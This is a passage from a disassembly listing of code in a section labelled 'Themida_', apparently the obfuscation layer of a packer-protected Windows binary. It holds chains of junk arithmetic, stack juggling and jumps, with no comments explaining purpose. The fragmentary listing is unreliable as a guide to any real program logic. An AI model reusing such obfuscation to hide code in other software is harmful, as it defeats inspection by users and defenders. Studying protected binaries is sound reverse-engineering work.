neg ecx push edi mov edi, 10C921DEh xor ecx, edi pop edi xchg ebp, ecx jmp loc_58FA59 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593351: ; CODE XREF: sub_58C17E+68D1j sub ebp, edi push edi jmp loc_58F89A ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593359: ; CODE XREF: Themida_:00594F4Ej and edi, 5CE47035h jmp loc_590E3B ; --------------------------------------------------------------------------- loc_593364: ; CODE XREF: Themida_:0058F380j push 3FEDh mov [esp], esp push eax mov eax, 4 add [esp+4], eax jmp loc_58CECF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59337B: ; CODE XREF: sub_58F5B5-247j add edi, 1F3F4887h jmp loc_58F736 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_593386: ; CODE XREF: Themida_:00595283j push ebx jmp loc_5952E2 ; =============== S U B R O U T I N E ======================================= sub_59338C proc near ; CODE XREF: sub_58F5B5-34A1j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058BA80 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058D4B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058DC97 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058FD95 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592E07 SIZE 0000000C BYTES push ebx add [esp+4+var_4], 2DFA07B9h mov ecx, [esp+4+var_4] add esp, 4 sub ecx, 2DFA07B9h sub esp, 4 mov [esp+4+var_4], ecx jmp loc_592E07 sub_59338C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5933AE: ; CODE XREF: sub_5938B9-9459j add esp, 4 pop esi rep movsd add esp, [edx+38h] push ecx mov ecx, 3FE61E38h jmp loc_594F03 ; --------------------------------------------------------------------------- loc_5933C2: ; CODE XREF: sub_5938B9-1497j jz loc_58FEC9 sub ecx, 0FFE6DEC0h add ecx, edx sub esp, 4 mov [esp+0], eax jmp sub_58EF52 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_5933DB: ; CODE XREF: Themida_:00590B0Fj sub edi, 46945948h jmp loc_58AE21 ; --------------------------------------------------------------------------- loc_5933E6: ; CODE XREF: Themida_:00591839j mov cl, bl mov dl, cl jmp loc_58AE7F ; --------------------------------------------------------------------------- loc_5933EF: ; CODE XREF: Themida_:005939E5j xchg ecx, [esp] mov esp, [esp] push ebx mov ebx, esp jmp loc_591A3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5933FD: ; CODE XREF: sub_5916C4-32FFj neg ebp push edi mov edi, 2BF0EC3h xor edi, 78B55049h xor ebp, edi jmp loc_59750E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59341A: ; CODE XREF: Themida_:0058F461j add eax, 1D4A6F06h add eax, ebx sub eax, 1D4A6F06h push dword ptr [esp] pop ebx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub ebx, 39264A9Bh push edi push ebp mov ebp, 19E63797h push edx push 337823AFh pop edx neg edx jb loc_58D94E shr edx, 2 and edx, 6E0275E6h pop esi mov cx, [esp] push ecx push esp mov ecx, [esp] jmp loc_592890 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_59346E: ; CODE XREF: sub_594654-929Cj pop ebp push eax mov eax, 30CB1067h add eax, 0CF34EF9Dh add ebp, eax push [esp+8+var_8] pop eax add esp, 4 push esi sub esp, 4 jmp loc_58D5F8 ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5919E2 loc_59348F: ; CODE XREF: sub_5919E2+34C0j popa jmp loc_58F1B9 ; END OF FUNCTION CHUNK FOR sub_5919E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593495: ; CODE XREF: sub_58C17E+3A94j ; Themida_:005979AAj add eax, 4 xchg eax, [esp+0] mov esp, [esp+0] shr ecx, 0Ah push 2E0Dh mov [esp+2+var_4+2], ecx jmp sub_592D25 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- lodsd jmp loc_58DF95 ; --------------------------------------------------------------------------- loc_5934B4: ; CODE XREF: Themida_:005920EBj jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5934B9: ; CODE XREF: sub_5EC2E8-5B5F6j ; sub_595E21-4357j mov ecx, 2 push eax mov eax, 6AD33F19h push edx mov edx, 69A97D20h shr edx, 1 jmp loc_59726D ; --------------------------------------------------------------------------- loc_5934D1: ; CODE XREF: sub_5EC2E8-5BE10j mov ecx, ebx jmp loc_59215C ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5934D8: ; CODE XREF: Themida_:005966E5j or bh, 0F8h inc bh jmp loc_58E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5934E2: ; CODE XREF: sub_5916C4+1356j neg ebp or ebp, 77AA6A87h push esi mov esi, 6C4439F6h shr esi, 3 xor esi, 3D2715E9h add esi, 51150578h or esi, 122F5521h jmp loc_58FAD1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_59350A: ; CODE XREF: sub_595123-7C70j ; Themida_:00594F5Aj pop esi add [esp+8+var_4], ebp push esi mov esi, 10A703A4h sub [esp+0Ch+var_4], esi pop esi mov ebp, [esp+8+var_8] push edx jmp loc_595FF0 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_593523: ; CODE XREF: Themida_:0058ADE7j ; Themida_:00592983j add edi, ebx pop ebx push edi push dword ptr [esp+4] push dword ptr [esp] pop edi push edx jmp loc_595AC9 ; --------------------------------------------------------------------------- loc_593535: ; CODE XREF: Themida_:0058A8C9j add dh, 0C6h jl loc_5968B3 xchg bl, dh not bl xchg bl, dh or dh, 1Dh shl dh, 1 mov ebp, ecx push esi loc_59354C: ; CODE XREF: Themida_:00591E46j push edx push 0E9159F2h mov edx, [esp] jmp loc_58C914 ; --------------------------------------------------------------------------- loc_59355A: ; CODE XREF: Themida_:00596522j pop esi add eax, 0A5530099h sub ebp, 6A496FDDh add ebp, eax add ebp, 6A496FDDh pop eax add ebp, 2 push ebp push dword ptr [esp+4] jmp loc_590857 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59357F: ; CODE XREF: sub_590467-314Dj sub bl, al add bl, 3Dh sub bl, 0E3h add bl, 0D5h sub esp, 4 mov [esp+0], ecx jmp sub_595BDA ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_593598: ; CODE XREF: Themida_:loc_58E993j ; Themida_:loc_594593j jmp loc_5907A0 ; --------------------------------------------------------------------------- loc_59359D: ; CODE XREF: Themida_:0058B4E3j mov dh, 0FEh dec dh jmp loc_58F777 ; --------------------------------------------------------------------------- loc_5935A6: ; CODE XREF: Themida_:0058C806j jp loc_590A04 sub ah, 13h mov bh, ah pop eax sub dh, 0AFh add dh, bh mov bh, 20h loc_5935B9: ; CODE XREF: Themida_:0058E25Aj mov [esp], ebx push 12BCh mov [esp], eax push ecx mov cl, 85h and cl, 0C5h add cl, 31h jmp loc_5902CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_5935D2: ; CODE XREF: sub_5EC2E8-5FE96j add ebx, 4 add ebx, 4 xchg ebx, [esp+30h+var_30] mov esp, [esp+30h+var_30] push ecx mov ecx, esp add ecx, 4 jmp loc_595288 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_5935EF: ; CODE XREF: Themida_:0058A5DFj dec esi push ebp mov ebp, 648E2397h or esi, ebp jmp loc_597930 ; --------------------------------------------------------------------------- loc_5935FD: ; CODE XREF: Themida_:005913FBj sub eax, 6CB25198h add eax, ebx add eax, 6CB25198h sub eax, 4A751382h pop ebx push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_5904A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_59361D: ; CODE XREF: sub_58C17E+6511j add edx, 5F9A1ED2h xor edx, 6E251E62h dec edx dec edx add edx, 36C2B5CFh jmp loc_591CE7 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov ax, [esp] push 7C60h mov [esp], edi mov edi, esp jmp loc_597B39 ; --------------------------------------------------------------------------- loc_593649: ; CODE XREF: Themida_:0059688Ej push bx jmp loc_5937F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593650: ; CODE XREF: sub_58C17E+6Fj sub ebx, 313F7FA4h not ebx xor ebx, 964D8558h jmp loc_591BF4 ; --------------------------------------------------------------------------- loc_593663: ; CODE XREF: sub_58C17E+1766j and edi, 305B452Dh jmp loc_5910FE ; --------------------------------------------------------------------------- loc_59366E: ; CODE XREF: sub_58C17E+87B9j mov eax, 587B7BD9h push ebp mov ebp, 760B4DB4h xor eax, ebp pop ebp inc eax push edi jmp loc_591BD6 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593683: ; CODE XREF: Themida_:005912F0j pop ecx add al, 0A2h sub al, bl jmp loc_58B0DA ; --------------------------------------------------------------------------- loc_59368D: ; CODE XREF: Themida_:0058D957j push esi mov esi, 103853A5h neg esi xor esi, 3FA426FFh sub esi, 4A13137Ch jmp loc_591F52 ; --------------------------------------------------------------------------- loc_5936A6: ; CODE XREF: Themida_:005910EFj push esi mov esi, 4CCB3C44h inc esi or esi, 5BCD6DC7h neg esi add esi, 0DECE80D6h sub ecx, esi pop esi add ecx, edi push edx mov edx, 7EFF030Fh add ecx, edx pop edx push eax mov eax, 428E4729h add ecx, eax jmp loc_5962E8 ; =============== S U B R O U T I N E ======================================= sub_5936D6 proc near ; CODE XREF: sub_5916C4+400Dj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00591215 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059538A SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005957FD SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059681E SIZE 00000010 BYTES sub esp, 4 mov [esp+0], eax mov al, bh push edx jmp loc_5957FD sub_5936D6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_5936E4: ; CODE XREF: sub_5921D8:loc_593152j not al jmp loc_58B62C ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5936EB: ; CODE XREF: sub_592D25-45D6j xchg ecx, [esp+0] not ecx xchg ecx, [esp+0] pop edx xchg edx, [esp+10h+var_10] pop ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_58A4CF ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_59370C: ; CODE XREF: sub_590B70-66C7j push esi mov esi, 49E64C75h add ebp, esi pop esi pop edx push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] pop esp mov [esp-4+arg_0], eax jmp loc_58C50A ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F836 loc_593728: ; CODE XREF: sub_58F836-517Cj mov edx, [esp+4+var_4] add esp, 4 push 1637h mov [esp+4+var_4], edi jmp sub_595E21 ; END OF FUNCTION CHUNK FOR sub_58F836 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_59373E: ; CODE XREF: sub_590467-3C40j pop edi push ebp push ebx mov ebx, 493C0696h mov ebp, 493C0694h xor ebp, ebx pop ebx add esi, ebp jmp loc_592247 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_593755: ; CODE XREF: Themida_:00597462j add esp, 4 push 61E3h jmp loc_58E15C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_593765: ; CODE XREF: sub_58F5B5-1F60j mov ecx, [esp-8+arg_4] jmp loc_58DBA6 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_59376D: ; CODE XREF: Themida_:00597E00j shl edx, 3 add edx, 767018C7h jmp loc_593E68 ; --------------------------------------------------------------------------- loc_59377B: ; CODE XREF: Themida_:0058C62Bj pop edx xor dh, cl jmp loc_59098C ; --------------------------------------------------------------------------- loc_593783: ; CODE XREF: Themida_:loc_592369j push si mov si, 3EEEh or bp, si mov si, [esp] push edx jmp loc_58BB06 ; --------------------------------------------------------------------------- loc_593796: ; CODE XREF: Themida_:00592B23j pop eax add edx, 542535BEh add edx, ebp jmp loc_5931C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916CB loc_5937A4: ; CODE XREF: sub_5916CB-31E5j mov edi, [esp+4+var_4] add esp, 4 jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_5937B2: ; CODE XREF: sub_592D25-FD9j or edx, eax shl edx, 1 sub esp, 4 mov [esp-4+arg_0], ecx mov ecx, 0FFFFFFFFh sub [edi+24h], ecx push [esp-4+arg_0] mov ecx, [esp+0] jmp loc_58DE8C ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- loc_5937CF: ; CODE XREF: Themida_:0058DF35j sub eax, edi pop edi jmp loc_58EB74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5937D7: ; CODE XREF: sub_58C17E+A929j movzx cx, al jmp loc_597291 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5937E0: ; CODE XREF: sub_5916C4+13CEj add eax, 25622F7h add eax, ebp sub eax, 25622F7h jmp loc_593AF1 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5937F1: ; CODE XREF: Themida_:0059364Bj mov bh, 2Ch add al, 1Fh add al, bh sub al, 1Fh pop bx sub al, 24h jmp loc_58B661 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593802: ; CODE XREF: sub_5916C4-494Ej mov bh, ah pop eax jmp loc_592150 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59380A: ; CODE XREF: sub_590010-3528j add ebp, 613E0866h sub ebp, 7461519h pop esi jmp loc_58F2B6 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_59381C: ; CODE XREF: Themida_:00595E76j shr ebx, 4 sub ebx, 3B522B07h ja loc_5926F3 xor ebx, 979DFFC1h mov eax, ebx jmp loc_59021D ; --------------------------------------------------------------------------- loc_593838: ; CODE XREF: Themida_:00591E22j mov ebp, 1E4008D8h jmp loc_5918FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_593842: ; CODE XREF: sub_590467-4229j add esi, edi push ecx mov ecx, 0F8D260Ch shr ecx, 3 xchg esi, ecx not esi xchg esi, ecx add ecx, 17233BCh add ecx, 5F73773Fh add esi, 322C6109h sub esi, ecx sub esi, 322C6109h pop ecx pop edi sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp+0] mov [esp+0], eax jmp loc_595CCD ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593886: ; CODE XREF: sub_58C17E+6FE2j add ebp, edx jmp loc_597E52 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_59388D: ; CODE XREF: sub_5916C4-15E6j add esp, 4 push ecx pop ebp mov ecx, [esp+16h+var_16] push ecx jmp loc_590FC6 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- mov ax, [esp] push 5065h mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 jmp loc_58F466 ; =============== S U B R O U T I N E ======================================= sub_5938B9 proc near ; CODE XREF: sub_58F5B5+6867j var_6 = dword ptr -6 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0058A3B9 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0058A45D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058A890 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058AFF5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058B398 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058B549 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058B6E1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058BAFA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058BD0B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058C7DE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058D5B0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058D894 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058DCE7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058DF5B SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058E115 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058E1E4 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E321 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E6F8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058E88B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058EAEC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058F12F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058F2D2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058F72F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F760 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058F99E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058FD28 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058FEC9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005903BA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059047B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00590538 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005905F9 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590688 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059082B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059178F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591EDB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00591EF3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00591FB3 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00592140 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005923C1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00592420 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592700 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00592804 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005929C8 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005933AE SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005938BF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00593BE4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00593D17 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00594371 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005949A7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00594F03 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595365 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00595B44 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00595BE2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00596D04 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596E43 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00596F09 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597492 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0059769A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059791C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005979F6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00597AD5 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00597AEC SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597C49 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597FA4 SIZE 0000000F BYTES push ebx jmp loc_58F12F sub_5938B9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_5938BF: ; CODE XREF: sub_5938B9-176Ej add edi, 4 xchg edi, [esp-8+arg_4] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_590538 ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- mov ax, [esp] push eax mov eax, esp jmp loc_5917D0 ; --------------------------------------------------------------------------- loc_5938E3: ; CODE XREF: Themida_:00593AECj add ebx, esi pop esi xchg ebx, [esp] pop esp jmp loc_596C26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_5938EF: ; CODE XREF: sub_595BDA+2198j add esi, 80820Ch mov edi, esi pop esi add ecx, edi pop edi xchg ecx, [esp-0Ch+arg_8] pop esp ; END OF FUNCTION CHUNK FOR sub_595BDA ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5938FF: ; CODE XREF: sub_58C17E+49BDj push 3343h mov [esp+6+var_8+2], esi mov esi, ebx push 1FE1h mov [esp+0Ah+var_C+2], edx jmp loc_58EC51 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593916: ; CODE XREF: Themida_:00596472j jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_59391B: ; CODE XREF: sub_59089C-279Bj push 438Ah jmp loc_58DFB2 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593925: ; CODE XREF: sub_5916C4+14AEj push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-4+arg_0] pop esp push edi jmp loc_593B98 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_59393E: ; CODE XREF: sub_5942E3-8868j add ebx, esi pop esi xchg ebx, [esp+0] pop esp push eax mov eax, esp jmp loc_592540 ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push ecx push ebx jmp loc_597CD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58B4D6 loc_593969: ; CODE XREF: sub_58B4D6+64A9j sub eax, 589C7B72h jmp loc_58E8F1 ; END OF FUNCTION CHUNK FOR sub_58B4D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595655 loc_593973: ; CODE XREF: sub_595655-AD14j add edx, ecx pop ecx xor edx, [esp+0] xor [esp+0], edx xor edx, [esp+0] pop esp push ebp jmp sub_59762D ; END OF FUNCTION CHUNK FOR sub_595655 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx mov ebx, esp sub esp, 4 mov [esp], eax jmp loc_58A525 ; --------------------------------------------------------------------------- loc_593998: ; CODE XREF: Themida_:0058FDC8j mov eax, [esp] add esp, 4 sub ebx, 6E037CCh add ebx, eax add ebx, 6E037CCh jmp loc_5961E9 ; --------------------------------------------------------------------------- loc_5939B1: ; CODE XREF: Themida_:0058E069j add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx push ebp mov ebp, 542F23F9h mov ecx, ebp pop ebp add eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_5933EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5942E3 loc_5939EA: ; CODE XREF: sub_5942E3+1Fj sub edi, ebp pop ebp add ebx, edi jmp loc_59283F ; END OF FUNCTION CHUNK FOR sub_5942E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5939F4: ; CODE XREF: sub_58F5B5+6041j xchg ebp, ebx xor ebx, 6EEBB81Fh sub ebp, ebx jmp loc_594356 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_593A03: ; CODE XREF: Themida_:00597F36j mov [esp], ebp mov ebp, esp push esi mov esi, 4 add ebp, esi mov esi, [esp] push 3AF3h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push eax mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp sub edx, 0FFFFFFFFh add edx, 32BE0F0Ch or ebx, edx pop edx sub ebx, 0FFFFEAFFh jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5921D8 loc_593A52: ; CODE XREF: sub_5921D8-6BABj ; Themida_:005973DBj mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_593C25 ; END OF FUNCTION CHUNK FOR sub_5921D8 ; --------------------------------------------------------------------------- loc_593A62: ; CODE XREF: Themida_:loc_58BC9Aj shr esi, 1 sub esi, 86EDEA3Dh mov edx, esi jmp loc_597A80 ; --------------------------------------------------------------------------- loc_593A71: ; CODE XREF: Themida_:00591782j pop esi push ebp mov ebp, 2F5F5D08h sub ebp, 61E244E7h jmp loc_5954E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593A83: ; CODE XREF: sub_58C17E+4F90j not edi add edi, 32B2FB6h mov eax, edi pop edi jmp loc_58A868 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov cx, [esp] push 35BBh mov [esp], edi push esp mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_59447B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593AB7: ; CODE XREF: sub_5916C4+2602j jmp loc_58D413 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595BDA loc_593ABC: ; CODE XREF: sub_595BDA-5E9Cj and bh, 22h jnz loc_594A46 push ecx mov ch, 47h jmp loc_58D149 ; END OF FUNCTION CHUNK FOR sub_595BDA ; --------------------------------------------------------------------------- push eax mov bl, dl loc_593AD0: ; CODE XREF: Themida_:005959D3j sub bl, 1 dec bl jmp loc_5940AE ; --------------------------------------------------------------------------- loc_593ADA: ; CODE XREF: Themida_:00596DA4j sub ebx, esi pop esi pop eax sub esp, 4 mov [esp], esi mov esi, 2 jmp loc_5938E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_593AF1: ; CODE XREF: sub_5916C4+2128j add eax, 2DFA0828h pop ebp jmp loc_59309E ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_593AFC: ; CODE XREF: Themida_:00590C46j mov esp, [esp] inc word ptr [esp] pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_593B09: ; CODE XREF: Themida_:00597E33j add esp, 4 dec bh jmp loc_58F82A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_593B13: ; CODE XREF: sub_58C17E+65BAj mov esi, esp jmp loc_5920F0 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_593B1A: ; CODE XREF: Themida_:0058B897j add ebx, 52DC097Fh add ebx, eax sub ebx, 52DC097Fh sub ebx, 4243074Eh jmp loc_59194E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_593B33: ; CODE XREF: sub_595E21-4BD8j or edx, 62D86549h push edi mov edi, 84070032h sub edx, 2D4B7C94h add edx, edi push ebx push ebp jmp loc_595E36 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_593B4E: ; CODE XREF: sub_58D236+4920j sub ebx, 583D7BCEh sub ebx, ebp jmp loc_5904D1 ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- loc_593B5B: ; CODE XREF: Themida_:0058FE50j mov ebx, 28195356h xor ebx, 0B5E7322h shl ebx, 4 jmp loc_5948EB ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax push esp pop eax jmp loc_58FB09 ; 